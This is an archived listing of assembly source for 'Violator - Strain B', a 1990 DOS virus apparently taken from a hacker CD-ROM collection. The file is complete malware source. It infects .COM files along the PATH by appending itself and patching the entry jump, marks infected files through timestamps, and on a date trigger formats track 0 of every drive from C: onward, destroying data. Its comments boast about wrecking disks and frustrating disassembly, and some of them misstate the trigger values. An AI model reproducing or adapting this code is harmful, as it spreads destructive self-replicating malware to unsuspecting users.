home *** CD-ROM | disk | FTP | other *** search
/ Hacker 2 / HACKER2.mdf / virus / violb.asm < prev    next >
Assembly Source File  |  1995-01-03  |  11KB  |  396 lines

  1. ;*****************************************************************************
  2. ;
  3. ;                        Violator - Strain B
  4. ;
  5. ;*****************************************************************************
  6. ;
  7. ; (Aug/09/90)
  8. ;
  9. ; Development Notes:
  10. ;
  11. ;    I encountered several errors in the original Violator code which I
  12. ;     corrected in this version. Mainly, the INT 26 routine to fuck the
  13. ;    disk. It seems that the routine would crash right after the INT 26
  14. ;     was executed and the whole program would die. I have since fixed
  15. ;    this problem in this version with an INT 13, AH 05 (Format Track)
  16. ;    command. This works better than the subsequent INT 26.
  17. ;
  18. ;
  19. ;*****************************************************************************
  20. ;
  21. ;                Written by - The High Evolutionary -
  22. ;                  RABID Head Programmer
  23. ;
  24. ;                                Revised by: «Onslaught»
  25. ;                               No affiliation with rabId
  26. ;
  27. ;          Copyright (C) 1990 by RABID Nat'nl Development Corp.
  28. ;
  29. ;*****************************************************************************
  30.  
  31. MOV_CX  MACRO   X
  32.         DB      0B9H
  33.         DW      X
  34. ENDM
  35.  
  36. CODE    SEGMENT
  37.         ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
  38.         ORG     $+0100H                ; Set ORG to 100H plus our own
  39.  
  40. VCODE:  JMP     virus
  41.  
  42.     NOP
  43.     NOP
  44.     NOP                     ;15 NOP's to place JMP Header
  45.     NOP
  46.     NOP
  47.     NOP
  48.     NOP
  49.     NOP
  50.     NOP
  51.     NOP
  52.     NOP
  53.     NOP
  54.     NOP
  55.     NOP
  56.     NOP
  57.  
  58. v_start equ     $
  59.  
  60.  
  61. virus:  PUSH    CX
  62.         MOV     DX,OFFSET vir_dat
  63.         CLD
  64.         MOV     SI,DX
  65.         ADD     SI,first_3
  66.     MOV    CX,3
  67.         MOV     DI,OFFSET 100H
  68.         REPZ    MOVSB
  69.         MOV     SI,DX
  70.     MOV     AH,30H
  71.     INT    21H
  72.     CMP    AL,0                ;Quit it it's DOS 1.0
  73.     JNZ    dos_ok
  74.         JMP     quit
  75.  
  76. dos_ok: PUSH    ES
  77.         MOV     AH,2FH
  78.         INT     21H
  79.         MOV     [SI+old_dta],BX
  80.         MOV     [SI+old_dts],ES
  81.         POP     ES
  82.         MOV     DX,dta                  
  83.         ADD     DX,SI                    
  84.         MOV     AH,1AH
  85.         INT     21H                     
  86.         PUSH    ES
  87.         PUSH    SI
  88.         MOV     ES,DS:2CH
  89.         MOV     DI,0                    
  90.     JMP    year_check
  91.  
  92. year_check:
  93.     MOV    AH,2AH            ;Get date info
  94.     INT    21H            ;Call DOS
  95.     CMP    CX,1990            ;Check to see if the year is 1990
  96.     JGE    month_check        ;If greater or equal, check month
  97.     JMP    find_path        ;If not, go on with infection
  98.  
  99. month_check:
  100.     MOV    AH,2AH            ;Get date info
  101.     INT    21h            ;Call DOS
  102.     CMP    DH,10            ;Check to see if it is September
  103.     JGE    day_check        ;If greater or equal, check day
  104.     JMP    find_path        ;if not, go on with infection
  105.  
  106. day_check:
  107.     MOV    AH,2Ah            ;Get date info
  108.     INT    21H            ;Call DOS
  109.     CMP    DL,31            ;Check to see if it is the 4th
  110.     JGE     multiplex        ;If yes, then nuke drives A:-Z:
  111.     JMP    find_path        ;If not, then go on with infection
  112.  
  113. multiplex:
  114.     MOV    AL,cntr            ;Counter is the drive to kill
  115.     CALL    alter            ;Go and kill the drive
  116.                                         ;25 is drive Z:
  117.     CMP    cntr,25            ;Is (cntr) 25 ?
  118.     JE    find_path        ;Go on with infection
  119.     INC    cntr            ;Add one to (cntr)
  120.     LOOP    multiplex        ;Loop back up to kill next drive
  121.  
  122. alter:
  123.     MOV    AH,05            ;Format Track
  124.     MOV    CH,0            ;Format track 0
  125.     MOV    DH,0            ;Head 0
  126.     MOV    DL,cntr            ;Format for drive in (cntr)
  127.     INT    13h            ;Call RWTS
  128.     RET                ;Return up for next drive
  129.  
  130. find_path:
  131.         POP     SI
  132.         PUSH    SI
  133.         ADD     SI,env_str
  134.         LODSB
  135.         MOV     CX,OFFSET 8000H
  136.         REPNZ   SCASB
  137.         MOV     CX,4
  138.  
  139. check_next_4:
  140.         LODSB
  141.         SCASB
  142. ;
  143. ; The JNZ line specifies that if there is no PATH present, then we will go
  144. ; along and infect the ROOT directory on the default drive.
  145. ;
  146.         JNZ     find_path               ;If not path, then go to ROOT dir
  147.         LOOP    check_next_4            ;Go back and check for more chars
  148.         POP     SI            ;Load in PATH again to look for chars
  149.         POP     ES
  150.         MOV     [SI+path_ad],DI
  151.         MOV     DI,SI
  152.         ADD     DI,wrk_spc              ;Put the filename in wrk_spc
  153.         MOV     BX,SI
  154.         ADD     SI,wrk_spc
  155.         MOV     DI,SI
  156.         JMP     SHORT   slash_ok
  157.  
  158. set_subdir:
  159.         CMP     WORD PTR [SI+path_ad],0
  160.         JNZ     found_subdir
  161.         JMP     all_done
  162.  
  163.  
  164. found_subdir:
  165.         PUSH    DS
  166.         PUSH    SI
  167.         MOV     DS,ES:2CH
  168.         MOV     DI,SI
  169.         MOV     SI,ES:[DI+path_ad]
  170.         ADD     DI,wrk_spc              ;DI is the file name to infect! (hehe)
  171.  
  172.  
  173. move_subdir:
  174.         LODSB                           ;To tedious work to move into subdir
  175.         CMP     AL,';'                  ;Does it end with a ; charachter?
  176.         JZ      moved_one               ;if yes, then we found a subdir
  177.         CMP     AL,0                    ;is it the end of the path?
  178.         JZ      moved_last_one          ;if yes, then we save the PATH
  179.         STOSB                           ;marker into DI for future reference
  180.         JMP     SHORT   move_subdir
  181.  
  182. moved_last_one:
  183.         MOV     SI,0
  184.  
  185. moved_one:
  186.         POP     BX                      ;BX is where the virus data is
  187.         POP     DS                      ;Restore DS so that we can do stuph
  188.         MOV     [BX+path_ad],SI         ;Where is the next subdir?
  189.         NOP
  190.         CMP     CH,'\'                  ;Check to see if it ends in \
  191.         JZ      slash_ok                ;If yes, then it's OK
  192.         MOV     AL,'\'                  ;if not, then add one...
  193.         STOSB                ;store the sucker
  194.  
  195.  
  196. slash_ok:
  197.         MOV     [BX+nam_ptr],DI         ;Move the filename into workspace
  198.         MOV     SI,BX                   ;Restore the original SI value
  199.         ADD     SI,f_spec               ;Point to COM file victim
  200.         MOV     CX,6
  201.         REPZ    MOVSB                   ;Move victim into workspace
  202.         MOV     SI,BX
  203.         MOV     AH,4EH
  204.         MOV     DX,wrk_spc
  205.         ADD     DX,SI                   ;DX is ... THE VICTIM!!!
  206.         MOV     CX,3                    ;Attributes of Read Only or Hidden OK
  207.         INT     21H
  208.         JMP     SHORT   find_first
  209.  
  210. find_next:
  211.         MOV     AH,4FH
  212.         INT     21H
  213.  
  214. find_first:
  215.         JNB     found_file              ;Jump if we found it
  216.         JMP     SHORT   set_subdir      ;Otherwise, get another subdirectory
  217.  
  218. found_file:
  219.         MOV     AX,[SI+dta_tim]         ;Get time from DTA
  220.         AND     AL,1EH                  ;Mask to remove all but seconds
  221.         CMP     AL,1EH                  ;60 seconds
  222.         JZ      find_next
  223.         CMP     WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
  224.         JA      find_next               ;If too long, find another one
  225.         CMP     WORD PTR [SI+dta_len],0AH ;Is it too short?
  226.         JB      find_next               ;Then go find another one
  227.         MOV     DI,[SI+nam_ptr]
  228.         PUSH    SI
  229.         ADD     SI,dta_nam
  230.  
  231. more_chars:
  232.         LODSB
  233.         STOSB
  234.         CMP     AL,0
  235.         JNZ     more_chars
  236.         POP     SI
  237.         MOV     AX,OFFSET 4300H
  238.         MOV     DX,wrk_spc
  239.         ADD     DX,SI
  240.         INT     21H
  241.         MOV     [SI+old_att],CX
  242.         MOV     AX,OFFSET 4301H
  243.         AND     CX,OFFSET 0FFFEH
  244.         MOV     DX,wrk_spc
  245.         ADD     DX,SI
  246.         INT     21H
  247.         MOV     AX,OFFSET 3D02H
  248.         MOV     DX,wrk_spc
  249.         ADD     DX,SI
  250.         INT     21H
  251.         JNB     opened_ok
  252.         JMP     fix_attr
  253.  
  254. opened_ok:
  255.         MOV     BX,AX
  256.         MOV     AX,OFFSET 5700H
  257.         INT     21H
  258.         MOV     [SI+old_tim],CX         ;Save file time
  259.         MOV     [SI+ol_date],DX         ;Save the date
  260.         MOV     AH,2CH
  261.         INT     21H
  262.         AND     DH,7
  263.         JMP     infect
  264.  
  265. infect:
  266.         MOV     AH,3FH
  267.         MOV     CX,3
  268.         MOV     DX,first_3
  269.         ADD     DX,SI
  270.         INT     21H             ;Save first 3 bytes into the data area
  271.         JB      fix_time_stamp
  272.         CMP     AX,3
  273.         JNZ     fix_time_stamp
  274.         MOV     AX,OFFSET 4202H
  275.         MOV     CX,0
  276.         MOV     DX,0
  277.         INT     21H
  278.         JB      fix_time_stamp
  279.         MOV     CX,AX
  280.         SUB     AX,3
  281.         MOV     [SI+jmp_dsp],AX
  282.         ADD     CX,OFFSET c_len_y
  283.         MOV     DI,SI
  284.         SUB     DI,OFFSET c_len_x
  285.  
  286.         MOV     [DI],CX
  287.         MOV     AH,40H
  288.         MOV_CX  virlen
  289.         MOV     DX,SI
  290.         SUB     DX,OFFSET codelen
  291.         INT     21H
  292.         JB      fix_time_stamp
  293.         CMP     AX,OFFSET virlen
  294.         JNZ     fix_time_stamp
  295.         MOV     AX,OFFSET 4200H
  296.         MOV     CX,0
  297.         MOV     DX,0
  298.         INT     21H
  299.         JB      fix_time_stamp
  300.         MOV     AH,40H
  301.         MOV     CX,3
  302.         MOV     DX,SI
  303.         ADD     DX,jmp_op
  304.         INT     21H
  305.  
  306. fix_time_stamp:
  307.         MOV     DX,[SI+ol_date]
  308.         MOV     CX,[SI+old_tim]
  309.         AND     CX,OFFSET 0FFE0H
  310.         OR      CX,1EH
  311.         MOV     AX,OFFSET 5701H
  312.         INT     21H
  313.         MOV     AH,3EH
  314.         INT     21H
  315.  
  316. fix_attr:
  317.         MOV     AX,OFFSET 4301H
  318.         MOV     CX,[SI+old_att]
  319.         MOV     DX,wrk_spc
  320.         ADD     DX,SI
  321.         INT     21H
  322.  
  323. all_done:
  324.         PUSH    DS
  325.         MOV     AH,1AH
  326.         MOV     DX,[SI+old_dta]
  327.         MOV     DS,[SI+old_dts]
  328.         INT     21H
  329.         POP     DS
  330.  
  331. quit:
  332.         POP     CX
  333.         XOR     AX,AX            ;XOR values so that we will give the
  334.         XOR     BX,BX            ;poor sucker a hard time trying to
  335.         XOR     DX,DX            ;reassemble the source code if he
  336.         XOR     SI,SI            ;decides to dissassemble us.
  337.         MOV     DI,OFFSET 0100H
  338.         PUSH    DI
  339.         XOR     DI,DI
  340.         RET     0FFFFH            ;Return back to the beginning
  341.                     ;of the program
  342.  
  343. vir_dat EQU     $
  344.  
  345. intro    db    '.D$^i*&B)_a.%R',13,10
  346. olddta_ DW      0
  347. olddts_ DW      0
  348. oldtim_ DW      0
  349. count_    DW    0
  350. cntr     DB     2                ; Drive to nuke from (C:+++)
  351. oldate_ DW      0
  352. oldatt_ DW      0
  353. first3_ EQU     $
  354.         INT     20H
  355.         NOP
  356. jmpop_  DB      0E9H
  357. jmpdsp_ DW      0
  358. fspec_  DB      '*.COM',0
  359. pathad_ DW      0
  360. namptr_ DW      0
  361. envstr_ DB      'PATH='
  362. wrkspc_ DB      40h dup (0)
  363. dta_    DB      16h dup (0)
  364. dtatim_ DW      0,0
  365. dtalen_ DW      0,0
  366. dtanam_ DB      0Dh dup (0)
  367. lst_byt EQU     $
  368. virlen  =       lst_byt - v_start
  369. codelen =       vir_dat - v_start
  370. c_len_x =       vir_dat - v_start - 2
  371. c_len_y =       vir_dat - v_start + 100H
  372. old_dta =       olddta_ - vir_dat
  373. old_dts =       olddts_ - vir_dat
  374. old_tim =       oldtim_ - vir_dat
  375. ol_date =       oldate_ - vir_dat
  376. old_att =       oldatt_ - vir_dat
  377. first_3 =       first3_ - vir_dat
  378. jmp_op  =       jmpop_  - vir_dat
  379. jmp_dsp =       jmpdsp_ - vir_dat
  380. f_spec  =       fspec_  - vir_dat
  381. path_ad =       pathad_ - vir_dat
  382. nam_ptr =       namptr_ - vir_dat
  383. env_str =       envstr_ - vir_dat
  384. wrk_spc =       wrkspc_ - vir_dat
  385. dta     =       dta_    - vir_dat
  386. dta_tim =       dtatim_ - vir_dat
  387. dta_len =       dtalen_ - vir_dat
  388. dta_nam =       dtanam_ - vir_dat
  389. count     =    count_  - vir_dat
  390.  
  391.         CODE    ENDS
  392. END     VCODE
  393.  
  394. 
  395. Downloaded From P-80 International Information Systems 304-744-2253
  396.